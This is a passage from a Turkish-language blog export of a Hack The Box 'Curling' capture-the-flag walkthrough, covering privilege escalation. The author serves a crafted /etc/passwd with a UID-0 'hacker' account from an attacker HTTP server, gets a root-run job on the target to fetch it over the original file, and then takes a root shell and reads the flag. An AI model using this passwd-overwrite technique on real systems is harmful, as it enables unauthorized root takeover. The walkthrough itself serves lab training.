\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false                                                                                                                                                                                                     \nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin                                                                                                                                                                                                 \ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin                                                                                                                                                                                \nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin                                                                                                                                                                                     \npollinate:x:109:1::\/var\/cache\/pollinate:\/bin\/false                                                                                                                                                                                            \nsshd:x:110:65534::\/run\/sshd:\/usr\/sbin\/nologin                                                                                                                                                                                                 \nfloris:x:1000:1004:floris:\/home\/floris:\/bin\/bash                                                                                                                                                                                              \nmysql:x:111:114:MySQL Server,,,:\/nonexistent:\/bin\/false                                                                                                                                                                                       \nhacker:$1$hacker$TzyKlv0\/R\/c28R.GAeLw.1:0:0:Hacker:\/root:\/bin\/bash    <\/code><\/pre>\n
Daha sonras\u0131nda http suncusuunu ba\u015flatt\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.150]\n\u2514\u2500# python3 -m http.server 8081                                                                                   3 ⚙  \nServing HTTP on 0.0.0.0 port 8081 (http:\/\/0.0.0.0:8081\/) ...                                                           \n10.10.10.150 - - [02\/Oct\/2021 21:01:02] "GET \/exploit HTTP\/1.1" 200 - \n<\/code><\/pre>\n
input dosyas\u0131n\u0131 a\u015fa\u011f\u0131daki gibi g\u00fcneclledim.<\/p>\n
\nfloris@curling:~\/admin-area$ cat input                                                                                                                                                                                                        \nurl = "http:\/\/10.10.14.21:8081\/exploit"                                                                                                                                                                                                       \noutput = "\/etc\/passwd"               <\/code><\/pre>\n
Ve belirli bir s\u00fcre sonra \/etc\/passwd dosyas\u0131 g\u00fcncellendi.<\/p>\n
floris@curling:~\/admin-area$ su hacker\nPassword: \nroot@curling:\/home\/floris\/admin-area# id\nuid=0(root) gid=0(root) groups=0(root)\nroot@curling:\/home\/floris\/admin-area# cd \/root\nroot@curling:~# ls\ndefault.txt  root.txt\nroot@curling:~# cat root.txt\n82c198ab6fc5365fdc6da2ee5c26064a<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Curling – HTB Kolay Linux Walkthrough nmap taramas\u0131: \u250c\u2500\u2500(root💀kali)-[~] \u2514\u2500# nmap -p- -A -T4 10.10.10.150 Starting Nmap 7.91 ( https:\/\/nmap.org…<\/p>\n
Devam\u0131n\u0131 okuCurling<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1578","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1578","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1578"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1578\/revisions"}],"predecessor-version":[{"id":1579,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1578\/revisions\/1579"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1578"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1578"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1578"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}